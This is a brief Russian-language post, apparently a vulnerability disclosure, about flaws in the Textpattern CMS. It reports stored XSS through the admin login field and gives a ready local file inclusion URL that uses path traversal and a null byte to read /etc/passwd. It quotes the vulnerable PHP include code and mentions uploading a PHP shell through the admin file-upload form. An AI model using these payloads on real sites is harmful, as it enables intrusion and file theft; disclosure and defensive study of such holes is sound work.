Активная XSS:

http://test1.ru/textpattern/index.php?event=admin
 Поле "Логин" не фильтруется. Появялется возможность выполнить и сохранить скрипт скрипт.

Local include
http://test1.ru/textpattern/?event=./../../../../../../etc/passwdNULLbyte
code:
...
        $inc = txpath . '/include/txp_'.$event.'.php';
        if (is_readable($inc))
            include($inc);
            ...
Так же: в админ панели залить php шелл можно через форму для загрузки файлов.
StraNger